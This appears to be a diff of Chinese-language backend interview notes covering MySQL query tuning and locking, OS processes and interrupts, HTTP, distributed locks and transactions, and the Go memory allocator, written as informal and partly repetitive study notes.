+定期查看慢查询日志,找出运行缓慢的SQL。 + + +**EXPLAIN命令**: + +对于找出的慢查询,使用EXPLAIN命令来查看查询的执行计划。这可以帮助理解SQL是如何被执行的,哪些索引被使用,以及哪些可能的优化点。 +```shell +EXPLAIN SELECT ... [your slow query here] ...; +``` +解读结果: + +type: 显示了查询的类型,如const、ref、range、ALL等。通常,我们希望避免ALL类型,因为这意味着全表扫描。 +possible_keys: 显示可能用于查询的索引。 +key: 实际使用的索引。 +rows: 估计要检查的行数。 +Extra: 包含有关查询的其他信息,如是否使用了文件排序或临时表。 + +> 线程和进程的区别 + +线程是调度的基本单位(PC,状态码,通用寄存器,线程栈及栈指针);进程是资源分配的基本单位。 +线程不拥有系统资源,但一个进程的多个线程可以共享隶属进程的资源;进程是拥有资源的独立单位。 +线程创建销毁只需要处理PC值,状态码,通用寄存器值,线程栈及栈指针即可;进程创建和销毁需要重新分配及销毁task_struct结构。 + + +> 在浏览器地址栏输入一个URL后回车,背后会进行哪些技术步骤? + + +DNS 查询: 浏览器将域名转换为IP地址。如果浏览器或操作系统的缓存中没有该域名的IP地址,它会请求DNS服务器进行解析。 + +建立TCP连接: 一旦获取到IP地址,浏览器会与服务器建立一个TCP连接。这通常使用三次握手完成。 + +发送HTTP请求: TCP连接建立后,浏览器会发送HTTP请求到服务器,请求输入的URL对应的资源。 + +服务器处理: 服务器收到请求后,开始处理这个请求(可能包括数据库查询、运行后端代码等),然后准备返回的响应。 + +服务器响应: 服务器将准备好的数据(如HTML、CSS、JS等)发送回浏览器。 + +浏览器渲染: 浏览器开始解析服务器返回的内容,渲染页面,加载图片、执行JavaScript等,直到页面完全显示给用户。 + +关闭连接: 如果不是使用持久连接,一旦所有数据交换完毕,TCP连接会被关闭。 + + +> Linux和windows下的进程通信方法和线程通信方法分别有哪些? + + +进程通信: + +管道 (Pipe): 主要用于父子进程间通信。 +命名管道 (Named Pipe): 不同进程间的通信方式。 +信号 (Signal): 通知接收进程某个事件已经发生。 +消息队列 (Message Queue): 允许进程将消息发送到队列,其他进程可以读取或写入。 +共享内存 (Shared Memory): 允许多个进程访问同一块内存空间。 +套接字 (Socket): 网络编程中用于进程间或不同机器间的通信。 +信号量 (Semaphore): 主要用于同步,但也可以用于进程间通信。 + +线程通信: + +临界区 (Critical Sections): 类似于Mutex。 +事件 (Events): 通知线程某事件发生。 +信号量 (Semaphore) +互斥体 (Mutex) +条件变量 (Condition Variables) +消息传递 (Message Passing): 通过消息队列传递消息给线程。 + +> 在并发编程时,在需要加锁时,不加锁会有什么问题? + + +数据竞争 (Race Conditions): 当多个并发执行的线程或进程尝试访问同一资源,并至少有一个是写入操作时,它们之间可能会发生数据竞争。这可能导致数据的不一致和不可预测的结果。 + +数据不一致 (Inconsistencies): 不加锁可能导致数据状态处于不一致的状态,因为多个线程/进程可能会同时修改数据。 + +丢失更新 (Lost Updates): 一个线程对数据的更新可能会被另一个线程的操作所覆盖,从而导致数据丢失。 + +死锁 (Deadlock) 的可能性增加: 虽然加锁也可能导致死锁,但不加锁的情况下,随意的资源访问可能更容易引入死锁情况。 + +> HTTPS和HTTP的区别 + +HTTP协议传输的数据都是未加密的,也就是明文的,因此使用HTTP协议传输隐私信息非常不安全, HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议,要比http协议安全。 + +https协议需要到ca申请证书, + +前者是80,后者是443 + + +> 讲一下程序的内存分区/内存模型 + +**代码区**(Text Segment):存储程序的可执行代码。 + +**数据区**: + +初始化数据段(Initialized Data Segment):存储程序中已初始化的全局变量和静态变量。 +未初始化数据段(Uninitialized Data Segment / BSS):存储程序中未初始化的全局变量和静态变量。 + +**堆(Heap)**:用于动态内存分配,如C++的new和C的malloc函数分配的内存。它从低地址向高地址增长。 + +**栈(Stack)**:用于存放函数的局部变量、函数参数、返回地址等。每当调用一个函数时,会为该函数分配一个新的栈帧。栈是自动管理的,从高地址向低地址增长。 + +**常量区**:存放如字符串常量的区域。 + + +> 说说了解的死锁?包括死锁产生原因、必要条件、处理方法、死锁回复以及死锁预防等 + +互斥 +不剥夺 +请求保持 +循环等待 + + +> 数据库并发事务会带来哪些问题?/脏读、幻读、丢弃更改、不可重复读的区别? + + +脏读(Dirty Read):读取了其他事务未提交的更改。 +不可重复读(Non-repeatable Read):同一事务中,多次读同一数据结果不同,因为被其他事务修改了。 +幻读(Phantom Read):同一事务中,查询结果集数量变化,因为其他事务插入或删除了记录。 +丢弃更改(Lost Update):两个事务同时修改同一数据,一个的修改被另一个覆盖。 + +> HTTP 1.0、1.1、2.0和3.0的区别如下: + +HTTP 1.0: + +无连接:每次请求/响应后,连接断开。 +无状态:服务器不会保留任何关于客户端请求的信息。 +HTTP 1.1: + +长连接:支持持久连接,即多个请求/响应可以使用同一连接。 +管道机制:在同一连接上发送多个请求,但响应仍需按顺序。 +增加了缓存处理、扩展了状态码、增加了一些新的方法如OPTIONS和PUT。 +支持Host头,使得一个服务器能够托管多个域名。 +HTTP 2.0: + +二进制格式:使得传输更高效。 +多路复用:单一连接上可以多个请求/响应同时进行,消除了水平线阻塞。 +服务器推送:服务器可以主动向客户端推送数据。 +首部压缩:减少了请求和响应的数据大小。 +HTTP 3.0 (基于QUIC): + +使用UDP代替TCP:提高了连接和数据传输的速度。 +内建TLS:默认提供安全连接。 +更好的并发:因为UDP的特性,减少了连接建立和丢包时的延迟。 +改进的流控制、丢包恢复和拥塞控制 + + +> 什么是IO多路复用 + + +让一个线程/进程知道哪些通道(如电话)正在等待输入/输出,从而可以高效地处理多个通道,而不需要为每个通道都分配一个线程/进程。 + +IO多路复用是计算机网络编程中的一个技术,允许单个线程或进程**监视多个文件描述符**(通常是网络套接字),看看哪些是可读的、可写的或有异常。这使得一个单独的线程或进程可以同时处理多个并发的网络I/O操作,而无需为每一个I/O操作分配一个独立的线程或进程。 + +基本上,IO多路复用提供了一个机制,让程序能够不阻塞地等待多个I/O通道成为可读或可写的,从而提高了程序在处理I/O时的效率。 + +常见的IO多路复用技术包括: + +select +poll +epoll (特定于Linux) +kqueue (特定于BSD系统,如FreeBSD和macOS) + + +> Linux中异常和中断的区别/键盘敲击发生的中断是怎么回事? + +中断 (Interrupts): + +来源:外部事件,例如I/O设备(如键盘、鼠标或硬盘)产生的信号。 +目的:通知CPU某个设备需要处理,例如数据已经准备好被读取。 +异步:它们是异步的,可以在任何时候发生,与当前执行的代码无关。 + +异常 (Exceptions): +来源:由于程序执行中的错误或某些特殊的指令,如除以零、无效内存访问等。 +目的:提供一种机制来响应错误或特殊条件,通常会导致程序终止或产生核心转储。 +同步:它们是由当前执行的代码直接引起的。 + +键盘敲击发生的中断: +当敲击键盘时,键盘的硬件会发送一个电信号给中断控制器。 +中断控制器识别这个信号并将其传递给CPU,通知CPU键盘已经有数据准备好被读取。 +CPU然后暂停其正在执行的任务,并通过预定义的中断服务程序(ISR)来处理这个中断。 +ISR负责从键盘缓冲区读取数据,并将其存储在内存中,通常在某个队列中,供操作系统或应用程序稍后处理。 +一旦数据被处理,CPU返回到被中断的任务,并继续执行。 + + +中断: + +来源:外部事件(如键盘敲击)。 +目的:通知CPU有设备事件需要处理。 +性质:异步。 + +异常: + +来源:程序执行错误(如除以零)。 +目的:响应程序中的错误。 +性质:同步。 +键盘敲击中断:当键盘被敲击,发送信号给CPU,暂停当前任务,读取键值,再继续任务。 +**键盘敲击中断就是当敲击键盘时,它发送一个信号给计算机,告诉它需要注意这个新输入,并相应地处理它。** + + +> Redis 的RedLock ? + +edis的RedLock算法是一个分布式锁的实现。在许多并发系统中,我们需要确保某个时刻只有一个进程可以执行某个操作或访问某个资源,这就是所谓的“锁”。当这种情况跨越多个实例、节点或服务器时,传统的单点锁不再适用,因此需要一种分布式锁来处理这种情况。 + +RedLock是Redis作者Antirez(Salvatore Sanfilippo)提出的一个分布式锁算法。以下是其基本流程: + +获取锁:客户端获取当前时间的毫秒数,作为参考时间。 +尝试获取锁:客户端尝试使用相同的键和随机值在**所有Redis实例上设置一个带有过期时间的锁**。 + +锁的有效性检查:只有当客户端在大多数Redis实例上成功地设置了锁,并且总的锁定时间超过了从第一步开始到现在的时间差,锁才被认为是有效的。 + +返回锁:如果锁有效,它会被返回给客户端。否则,客户端会删除在步骤2中创建的锁,并重新尝试。 + +解锁:由于锁带有随机值,所以只有创建该锁的客户端才能解锁它。客户端会在所有Redis实例上解锁,即使它只在少数实例上获得了锁。 + +> 基于 ZooKeeper 的分布式锁 + +方案 +基于 ZK 的特性,很容易得出使用 ZK 实现分布式锁的落地方案: + +使用 ZK 的临时节点和有序节点,每个线程获取锁就是在 ZK 创建一个临时有序的节点,比如在 /lock/ 目录下。 +创建节点成功后,获取 /lock 目录下的所有临时节点,再判断当前线程创建的节点是否是所有的节点的序号最小的节点。 +如果当前线程创建的节点是所有节点序号最小的节点,则认为获取锁成功。 +如果当前线程创建的节点不是所有节点序号最小的节点,则对节点序号的 前一个节点 添加一个事件监听。 + +缺陷 +羊群效应:当一个节点变化时,会触发大量的 watches 事件,导致集群响应变慢。每个节点尽量少的 watches,这里就只注册 前一个节点 的监听 +ZK 集群的读写吞吐量不高 +网络抖动可能导致 Session 离线,锁被释放 + +> go切片(slice)扩容的具体策略? + +对于Go切片的扩容策略(即Go 1.16),当向一个切片追加元素并超出其容量时,Go会为切片分配一个新的更大的底层数组。具体的扩容规则如下: + +底层维护了一个指向数组的指针,然后还维护了一个数组的长度和一个它的空间预存的一个 CAP 的容量值。 + +如果切片的当前容量小于1024个元素,那么扩容的策略是将容量翻倍。 +如果切片的当前容量大于或等于1024个元素,扩容策略将会增加约25%的容量。 +如果通过append函数追加的元素数量大于当前切片容量的25%,则新的容量将根据需要追加的元素数量来进行调整。 +这个策略的设计是为了在内存使用和复制操作之间达到一个平衡。对于较小的切片,由于其总体内存占用较小,所以直接翻倍。而对于较大的切片,增加固定的25%可以避免分配太多不必要的内存。 + +需要注意的是,这些策略是Go当前版本的实现细节,并可能在未来的版本中发生变化。如果需要对切片的扩容行为有更精确的控制,可以考虑手动使用make和copy函数来管理切片的容量。 + +> 常见的HTTP状态码 + +1xx(信息响应类): + +100 Continue:请求的初始部分已被服务器接受,客户端应继续请求。 +101 Switching Protocols:服务器已理解切换协议的请求。 +2xx(成功响应类): + +200 OK:请求成功。 +201 Created:请求已完成,并创建了新资源。 +202 Accepted:请求已接受,但尚未处理。 +204 No Content:请求已成功处理,但没有内容返回。 +3xx(重定向类): + +300 Multiple Choices:为请求的资源提供了多个选择。 +301 Moved Permanently:资源永久重定向。 +302 Found:资源临时重定向。 +304 Not Modified:资源自上次请求后未发生变化,可直接使用缓存。 +4xx(客户端错误类): + +400 Bad Request:请求格式错误或请求无法处理。 +401 Unauthorized:请求未经授权。 +403 Forbidden:服务器拒绝执行请求。 +404 Not Found:请求的资源在服务器上未找到。 +429 Too Many Requests:由于请求频次达到上限,请求被限制。 +5xx(服务器错误类): + +500 Internal Server Error:服务器内部错误。 +501 Not Implemented:服务器不支持当前请求的功能。 +502 Bad Gateway:作为网关或代理的服务器从上游服务器收到无效响应。 +503 Service Unavailable:服务器暂时无法处理请求(由于超载或维护)。 +504 Gateway Timeout:作为网关或代理的服务器未及时从上游服务器或其他来源收到请求 + + +> 链路追踪采样策略 + +一个客户端请求可能需要多个服务间的多次调用才能完成。对于高流量的系统,对每个请求进行追踪是非常昂贵的,这就涉及到“采样策略”。采样策略决定了哪些请求被追踪,哪些被忽略。 + +常见的链路追踪采样策略有: + +固定率采样:这是最简单的策略。例如,系统可能决定追踪每100个请求中的一个。 + +概率采样:与固定率相似,但每个请求被追踪的概率是动态决定的。例如,可以基于当前系统的流量进行动态调整。 + +自适应采样:基于请求的某些属性(如URL、用户代理或其他头信息)来决定是否追踪。 + +速率限制采样:这种策略设定了一个追踪的速率上限,例如每秒不超过10个请求。 + +错误率采样:只追踪那些结果为错误或有异常的请求。 + + + +> opentelemetry探针技术原理 + +OpenTelemetry 是一个开源项目,其目标是为观察性工具(包括但不限于分布式追踪和指标)提供统一的标准。OpenTelemetry 提供了一套 API、库、代理和工具集,用于捕获分布式系统中的事件和指标。 + +其探针(通常被称为 "instrumentation")技术的基础原理如下: + +自动化工具:OpenTelemetry 提供了自动化工具,可以无缝地为应用添加追踪代码。例如,如果使用 Java Spring Boot,OpenTelemetry 有专门的工具可以自动为的应用添加追踪代码。 + +API和SDK:OpenTelemetry 提供了一套 API 和 SDK,允许开发者为代码添加自定义的追踪和指标。 + +上下文传播:为了跟踪一个请求跨多个服务的完整路径,OpenTelemetry 使用上下文传播。当一个请求从一个服务转到另一个服务时,OpenTelemetry 自动将跟踪上下文嵌入到请求中(例如 HTTP 头部),并在下游服务中恢复该上下文。 + +Exporters:一旦数据被捕获,它需要被发送到一个后端系统(如 Jaeger、Zipkin 或云提供商的监视系统)进行分析和可视化。OpenTelemetry 提供了多种 "exporters",用于将数据导出到这些后端系统。 + +与现有标准的兼容性:OpenTelemetry 旨在与现有的追踪和监控标准兼容,例如 OpenTracing 和 OpenCensus。 + +可插拔性:OpenTelemetry 设计为高度模块化和可插拔的。如果需要,开发者可以轻松更换或扩展标准的 SDK 功能,例如采样策略或导出行为。 + + +> 分布式事务 + + +两阶段提交 (2PC): + +准备阶段:协调者询问所有参与者:“如果我现在告诉提交,是否能够提交?” +提交/中止阶段:基于参与者的反馈,协调者决定告诉参与者是提交还是中止事务。 + +优点:确保所有参与者都同步。 +缺点:如果协调者崩溃,可能导致阻塞。 + +三阶段提交 (3PC): +询问阶段:协调者询问所有参与者:“现在是否有条件参与一个事务?” +准备阶段:如果所有的参与者都回应可以,协调者会说:“请准备提交但不要真的提交,等我的命令。” +提交/中止阶段:基于参与者准备好的反馈,协调者再决定是让参与者真正提交还是中止事务。 + +相比2PC,3PC在“准备”阶段之前增加了一个“询问”阶段,并且在各阶段有时间限制,从而减少了阻塞的风险。 + +在2PC的第二阶段,当协调者发送"COMMIT"指令给参与者后,如果因为网络故障或者协调者宕机等原因,这个**指令没有被一部分或全部的参与者接收到,那么这些未收到指令的参与者就会处于**不确定状态,它们不知道是应该提交还是中止事务。 + +由于2PC协议本身没有设定超时或失败重试机制,因此这些参与者就会一直等待指令,进入"阻塞"状态。它们不能单方面决定提交或中止,因为它们不知道其他参与者或协调者的状态和决策。这就是2PC中的阻塞问题。 + +简而言之,2PC中的阻塞问题是因为参与者在某些失败情况下,缺乏足够的信息来独立决策,而3PC通过更多的通信和超时机制,提供了额外的上下文,允许参与者在某些情况下做出自主决策,从而减少了阻塞。 + +**引入超时机制: 与2PC不同,3PC为事务的每个阶段设定了超时时间。当某个阶段超时后,参与者可以根据当前的事务阶段和已知的系统状态来独立做出决策,而不是无期限地等待协调者的命令。** + +> 假设正在设计一个电商平台,其中订单、库存和支付三个服务都在不同的数据库中。当用户下单时,如何确保这三个服务中的数据操作都成功或都失败? + +Saga模式: + +将整个事务拆分为一系列较小的子事务或Saga。每个子事务只影响一个服务的数据库。 +如果某个子事务失败,会触发一个补偿操作来回滚之前已经执行的子事务。例如,如果支付失败,库存和订单的相关操作也需要被回滚。 + +事件驱动架构: + +使用事件驱动架构来协调Saga。当一个子事务完成时,该服务发布一个事件。其他相关的服务监听这些事件,并基于事件内容执行自己的子事务或补偿操作。 + +持久化事件日志: + +为了确保系统的可靠性,特别是在失败的情况下,可以使用持久化的事件日志来记录所有的事件。这样,即使某个服务暂时不可用,当它重新上线时,也可以根据日志恢复其状态。 + +幂等性保证: + +确保每个子事务是幂等的,这样即使某个操作被重复执行,也不会对系统状态产生不良影响。 + +监控与报警: + +实施监控策略,以实时追踪所有分布式事务的状态。一旦检测到失败或不一致,立即触发报警机制并自动进行相应的补偿操作。 + + +> 都有哪些锁? + +1. **共享锁(Shared Lock,S-Lock)**: + - 允许多个事务或线程读取锁定的资源。 + - 阻止任何事务或线程写入锁定的资源。 + +2. **排他锁(Exclusive Lock,X-Lock)**: + - 一旦一个事务或线程获取了排他锁,其他事务既不能读也不能写锁定的资源。 + +3. **意向锁(Intention Locks)**: + - 这不是一个真正的锁,而是一个表明事务打算获取哪种类型锁(S-Lock 或 X-Lock)的标记。 + - 这有助于数据库管理系统实现多级锁策略,如表级和行级锁。 + +4. **读锁(Read Lock)**: + - 类似于共享锁,允许多个线程或事务读取数据,但阻止写入。 + - 通常用在读写锁的上下文中。 + +5. **写锁(Write Lock)**: + - 只允许持有写锁的线程或事务修改数据,其他线程或事务既不能读也不能写。 + - 通常用在读写锁的上下文中。 + +6. **乐观锁(Optimistic Lock)**: + - 通过数据版本(如时间戳或版本号)来实现。 + - 事务不在数据上设置真正的锁,而是在提交时检查数据版本。如果在事务开始后数据被其他事务修改,当前事务将失败。 + +7. **悲观锁(Pessimistic Lock)**: + - 假设数据会产生冲突,所以在读取或修改数据时立即设置锁。 + - 直到事务完成或释放锁,其他事务才能访问锁定的资源。 + +共享锁允许并发读取,但共享锁存在时不允许写入。排他锁则防止其他所有事务进行读取或写入,确保完全独占数据项。 + +当一个数据项上存在共享锁时,其他事务可以加共享锁来读取该数据项,但不能加排他锁来写入该数据项,直到所有的共享锁都被释放。当共享锁被释放,其他事务就可以申请排他锁来写入数据项。 + +共享锁 (S-Lock): + +多个事务可以同时获得一个数据项的共享锁,因此它们可以并发地读取该数据项。 +如果一个事务请求一个数据项的排他锁(为了写入),它必须等待直到所有共享锁被释放。 + +排他锁 (X-Lock): + +一个数据项在任何时候只能有一个排他锁。 +拥有排他锁的事务可以对数据项进行读取或写入。 +其他事务不能对这个数据项加任何锁(共享或排他),直到原事务释放排他锁。 + +> MySQL的行级锁有哪些? + +MySQL 支持多种行级锁,包括: + +共享锁 (Shared Locks, S-Locks):允许事务读取一行数据。当一个数据行被共享锁定时,其他事务可以读取但不能写入或锁定这一行。 + +排他锁 (Exclusive Locks, X-Locks):当事务需要修改数据时,它会锁定数据行。在持有排他锁的情况下,其他事务不能读取或写入该行,除非它们也获得排他锁。 + +意向锁 (Intention Locks):这不是直接应用于单个数据行的锁,而是表明事务希望在更细粒度上获得锁。意向锁有两种类型: + +意向共享锁 (Intention Shared Lock, IS) +意向排他锁 (Intention Exclusive Lock, IX) +意向锁是为了在表级别上与其他锁协同工作,使得多个事务可以更高效地在表的不同部分进行工作。 + +记录锁 (Record Locks):这是一个行级锁,它锁定索引记录。 + +间隙锁 (Gap Locks):它不锁定索引记录,而是锁定索引之间的间隔。这是为了防止幻读 (Phantom Rows) 的出现。 + +临键锁 (Next-key Locks):这种锁结合了记录锁和间隙锁,锁定一个索引记录并锁定之前和之后的间隙。 + +> 读提交和可重复度的区别? + +**读提交可以防止脏读,但是无法解决幻读。可重复度可以解决幻读,这是因为加了间隙锁的原因。** + +读已提交 (Read Committed): 在这个隔离级别中,事务只能看到其他事务已经提交的更改。它不会看到其他正在进行中的事务所做的修改。 +可重复读 (Repeatable Read): 一旦事务读取了数据,它会确保在该事务的整个生命周期内,这些数据都不会被其他事务更改。也就是说,如果事务A读取了一些数据,然后事务B更改并提交了这些数据,事务A再次读取时仍然会看到它最初读到的数据。 + +幻读的处理: +读已提交: 这个隔离级别可以防止脏读和不可重复读,但不能防止幻读(Phantom Reads)。幻读是当一个事务在读取某个范围的行时,另一个事务插入或删除了一些行,导致第一个事务再次读取时看到不同的行。 +可重复读: 在MySQL中,该隔离级别使用间隙锁(Gap Locks)来防止幻读。这意味着在此隔离级别下,事务不仅锁定实际读取的行,还锁定读取范围内的间隙。 + +性能: +通常,读已提交的性能会优于可重复读,因为它需要的锁定更少,降低了事务之间的争用。 +使用场景: + +如果需要更严格的数据一致性,并且可以接受一些性能损失,可以使用可重复读。 +如果希望获得更好的并发性能,并且可以接受可能出现的幻读,那么读已提交可能更合适。 + + +> 读未提交 读提交 可重复读 串行化 都使用了什么锁? + +读未提交 (Read Uncommitted): + +主要使用 记录锁。 +由于这个隔离级别允许读取尚未提交的数据更改,所以它很少使用锁来防止其他事务的访问,可能会看到其他事务中的未提交更改。 + +读已提交 (Read Committed): + +主要使用 记录锁。 +只在访问数据的时候临时地加锁,然后在读取数据之后立即释放。写操作(如UPDATE或DELETE)会持有锁直到事务完成。 + +可重复读 (Repeatable Read): + +使用 记录锁 和 间隙锁。 +在MySQL的InnoDB存储引擎中,可重复读是默认的隔离级别。它确保所读取的数据在当前事务内保持一致性。为了防止其他事务插入“幻影”行,它使用间隙锁来锁定范围。 + +串行化 (Serializable): + +使用 记录锁、间隙锁 和 全表锁。 +这是最高的隔离级别。它会对所有读取的行加锁,并且如果它不能获取锁,它会等待。这基本上确保每次只有一个事务可以执行,使所有事务变得串行化,从而避免了并发问题。 + +> 原子操作 + +原子操作通常是通过底层硬件指令或操作系统的特性来实现的。原子操作确保一个给定的序列的操作要么完全执行,要么完全不执行,而且在执行的过程中,不会被其他操作中断或干扰。 + +以下是原子操作实现的一些常见方法: + +硬件支持:许多现代处理器提供了特定的指令集,这些指令集可以在单个指令周期内执行复杂的操作,如比较和交换 (compare-and-swap, CAS)、获取和释放锁等。 + +锁机制: + +使用互斥锁或自旋锁来保护代码段,确保同一时间只有一个线程或进程可以访问它。 +当锁被持有时,其他试图获取锁的线程会被阻塞或旋转,直到锁被释放。 +数据库事务:数据库系统提供了事务机制来确保一系列的操作是原子的。这是通过提交或回滚来实现的,确保在事务中的所有操作要么都成功执行,要么都不执行。 + +软件方法:某些原子操作可以通过软件算法实现,尤其是在没有硬件原子性支持的环境中。Lamport的bakery算法是一个著名的例子。 + +中断禁用:在某些嵌入式系统或实时操作系统中,为了确保操作的原子性,系统可能会短暂地禁用中断,这样当前的操作就不会被其他任何操作中断。 + +乐观并发控制:在这种方法中,系统假设冲突是罕见的,并允许多个操作并发执行,但在提交更改之前,会检查是否有冲突。如果有冲突,操作会回滚并重新尝试。 + +> 守护进程、僵尸进程和孤儿进程 + +僵尸进程(Zombie Process)是一个已经完成执行但还在进程表中占用表项的进程。当一个进程的子进程比父进程先结束,而父进程没有调用wait或waitpid函数来获取子进程的结束状态,那么子进程的进程描述符仍然保存在系统中,这样的进程称为僵尸进程。 + +在Unix和类Unix操作系统(如Linux)中,每个进程都有一个父进程。当一个进程结束时,它的退出状态需要被父进程收集。这是通过wait系列的系统调用完成的。如果父进程没有执行这些调用,子进程就会变成僵尸进程。 + +僵尸进程自身不占用系统资源(如CPU和内存),但会占用进程表的一个条目。大量的僵尸进程可能会耗尽系统的进程表空间,导致新进程无法创建。 + +如何处理僵尸进程 +父进程调用wait或waitpid: 父进程通过调用这些函数来收集子进程的退出状态,从而使子进程成功地退出。 + +信号处理: 父进程可以捕获SIGCHLD信号,并在信号处理函数中调用wait或waitpid。 + +父进程结束: 如果父进程结束,所有的僵尸子进程会被init进程(进程ID为1)接管,init会自动为其子进程调用wait,从而释放这些僵尸进程。 + +手动清除: 管理员可以手动找出僵尸进程,并向其父进程发送SIGCHLD信号,促使其调用wait,或者直接结束父进程以清除僵尸进程。 + +守护进程 (Daemon Process): + +守护进程是在后台运行的进程,它与终端会话分离,通常用于执行诸如服务器、日志记录、任务调度等长时间或永久性任务。 +它们不与用户直接交互,通常由系统在启动时自动启动并运行。 +为了成为守护进程,进程通常会“孤立”自己:它会断开所有终端关联、关闭所有继承的文件描述符、更改其工作目录和重置其umask等。 + +僵尸进程 (Zombie Process): + +当一个子进程终止,但其父进程尚未检索其终止状态时,该子进程成为僵尸进程。 +它仍然在进程表中保留一个条目(通常为了让父进程稍后能够检索其子进程的终止状态),但不再执行任何操作。 +一旦父进程检索了子进程的终止状态(通常通过调用wait()函数),僵尸进程的条目就会从进程表中删除。 +如果父进程在其子进程之前终止,init进程(PID为1)会“领养”子进程,并负责清理任何变为僵尸的子进程。 + +孤儿进程 (Orphan Process): + +当父进程在其子进程之前终止时,该子进程成为孤儿进程。 +孤儿进程不是由其原始父进程,而是由init进程(PID为1)“领养”。init进程定期检查并“领养”孤儿进程,确保它们在终止后被正确清理。 +总结:守护进程是后台任务进程,僵尸进程是已经终止但其状态未被父进程检索的进程,而孤儿进程是其父进程已终止的进程。 + + +> Go 的内存分配器 + +Go语言的内存管理并非基于tcmalloc。实际上,Go有其自己的内存分配器。但Go语言的内存分配器的确从tcmalloc中借鉴了一些思想。以下是Go内存分配器的主要设计思想和原理: + +分层设计:Go的内存分配器分为多个层次: + +MSpan:管理固定大小的内存块,称为span。 +MCentral:管理一系列大小类似的span。 +MHeap:是所有MCentral的集合,并包括管理大块内存的功能。 + +大小分类:Go将内存分为很多大小类。每个大小类都由一个MCentral管理。这意味着对于常见的内存分配大小,Go可以快速地找到合适大小的内存块。 + +线程本地存储(Thread Local Storage, TLS):为了减少全局锁的争用,Go的内存分配器使用线程本地存储。每个P(处理器)都有一个本地缓存,称为mcache,用于满足小的内存分配请求。 + +大块内存分配:对于大于32KB的内存分配,Go直接从MHeap分配内存。 + +垃圾回收:Go使用一个并发的、三色标记清除的垃圾回收器。这意味着Go可以在程序运行时进行垃圾回收,而不需要停止整个程序。 + +内存释放策略:当MSpan中的对象都被释放时,MSpan可能会返回给MCentral,以便将来重用。当MCentral有多余的空闲MSpan时,它们可能会被返回给MHeap。最后,MHeap可能会将未使用的内存页返回给操作系统。 + +减少锁的使用:通过使用mcache和其他技术,Go努力减少内存分配时的锁争用。这对于高并发的程序来说是非常重要的。 + +总之,Go的内存分配器结合了多级设计、大小分类、线程本地存储等技术,以实现高效、可扩展和低碎片化的内存管理。 + +Go 的内存分配主要基于一个分层的方法,以加速小型和常见的分配,同时也可以处理大型和高并发的分配。我会简要地从顶层概念到具体细节来描述这个过程。 + +基于大小的分配: +Go 将对象分成多个大小类,每个大小类对应一定的字节大小。这意味着同一个大小类的所有对象都有相同的大小。 + +```shell +mspan: +在 Go 中,内存被组织为多个连续的区块,称为 spans(或 mspan)。每个 mspan 包含一组固定大小的对象。这些对象的大小就是 mspan 的大小类。 + +mcache: +为了加速内存分配,Go 引入了线程本地存储。每个 P(处理器)都有自己的 mcache,即本地缓存,其中缓存了一组 mspan。当一个 goroutine 想要分配内存时,它首先会查看其关联 P 的 mcache。 + +mcentral: +每个大小类都有一个全局的 mcentral,它维护着 mspan 的列表。当 mcache 中的 mspan 用完或不足时,它会从相应的 mcentral 获取新的 mspan。反过来,当 mcache 的 mspan 空闲时,它们可以被返回给 mcentral。 + +mheap: +mheap 是全局的大型存储,跨所有大小类。当 mcentral 需要更多的 mspan 时,它从 mheap 获取。mheap 包含所有已分配但未使用的页面。如果 mheap 也没有足够的空间,它会直接从操作系统请求更多的内存。 + +总的来说,当 Go 程序需要分配内存时,它首先从 mcache 开始,然后是 mcentral,最后是 mheap。这种层次化的分配策略为 Go 提供了高效且并发友好的内存管理机制。 +``` + +> Go 语言内存分配器的实现原理 + +内存管理一般包含三个不同的组件,分别是用户程序(Mutator)、分配器(Allocator)和收集器(Collector),当用户程序申请内存时,它会通过内存分配器申请新内存,而分配器会负责从堆中初始化相应的内存区域. + +分级分配 +线程缓存分配(Thread-Caching Malloc,TCMalloc)是用于分配内存的机制,它比 glibc 中的 malloc 还要快很多2。Go 语言的内存分配器就借鉴了 TCMalloc 的设计实现高速的内存分配,它的核心理念是使用多级缓存将对象根据大小分类,并按照类别实施不同的分配策略。 + +Go 语言的内存分配器会根据申请分配的内存大小选择不同的处理逻辑,运行时根据对象的大小将对象分成微对象、小对象和大对象三种: +因为程序中的绝大多数对象的大小都在 32KB 以下,而申请的内存大小影响 Go 语言运行时分配内存的过程和开销,所以分别处理大对象和小对象有利于提高内存分配器的性能。 + +内存分配器不仅会区别对待大小不同的对象,还会将内存分成不同的级别分别管理,TCMalloc 和 Go 运行时分配器都会引入线程缓存(Thread Cache)、中心缓存(Central Cache)和页堆(Page Heap)三个组件分级管理内存: + +线程缓存属于每一个独立的线程,它能够满足线程上绝大多数的内存分配需求,因为不涉及多线程,所以也不需要使用互斥锁来保护内存,这能够减少锁竞争带来的性能损耗。当线程缓存不能满足需求时,运行时会使用中心缓存作为补充解决小对象的内存分配,在遇到 32KB 以上的对象时,内存分配器会选择页堆直接分配大内存。 + +这种多层级的内存分配设计与计算机操作系统中的多级缓存有些类似,因为多数的对象都是小对象,我们可以通 + +Go 语言内存分配器 + +内存空间的组成:Go 语言中的数据和变量都会被分配到虚拟内存中,主要包括两个区域:栈区(Stack)和堆区(Heap)。函数调用的参数、返回值和局部变量主要分配在栈上,由编译器管理。而堆上的对象由内存分配器分配,并由垃圾收集器回收。 + +设计原理: + +内存管理组件:包括用户程序(Mutator)、分配器(Allocator)和收集器(Collector)。用户程序通过分配器申请新内存,而分配器则负责从堆中初始化相应的内存区域。 +分配方法:Go 的内存分配器主要使用两种方法:线性分配器(Bump Allocator)和空闲链表分配器(Free-List Allocator)。 +线性分配器:高效但有局限性。它在内存中维护一个指针,当申请内存时,只需检查剩余空闲内存、返回分配的内存区域并修改指针位置。但它无法在内存被释放时重用。 +空闲链表分配器:可以重用已释放的内存。它维护一个链表结构,申请内存时遍历空闲内存块,找到合适的内存后修改链表。 +多级缓存:Go 的内存分配器借鉴了 TCMalloc 的设计,使用多级缓存将对象按大小分类,并按类别实施不同的分配策略。这些级别包括线程缓存(Thread Cache)、中心缓存(Central Cache)和页堆(Page Heap)。 + +线性分配器(Bump Allocator): + +这种分配器非常简单和高效。它在内存中维护一个指针,每次申请内存时,只需检查是否有足够的空闲内存,然后返回当前指针指向的内存区域,并将指针向前移动相应的大小。 +由于它的简单性,线性分配器在某些场景下非常高效,特别是当知道内存分配是短暂的或者生命周期是可预测的时候。 +但这种方法的缺点是它无法有效地重用已释放的内存,因为它不跟踪哪些内存已经被释放。 +空闲链表分配器(Free-List Allocator): + +Go 的内存分配器使用空闲链表来跟踪和管理已释放的内存块。 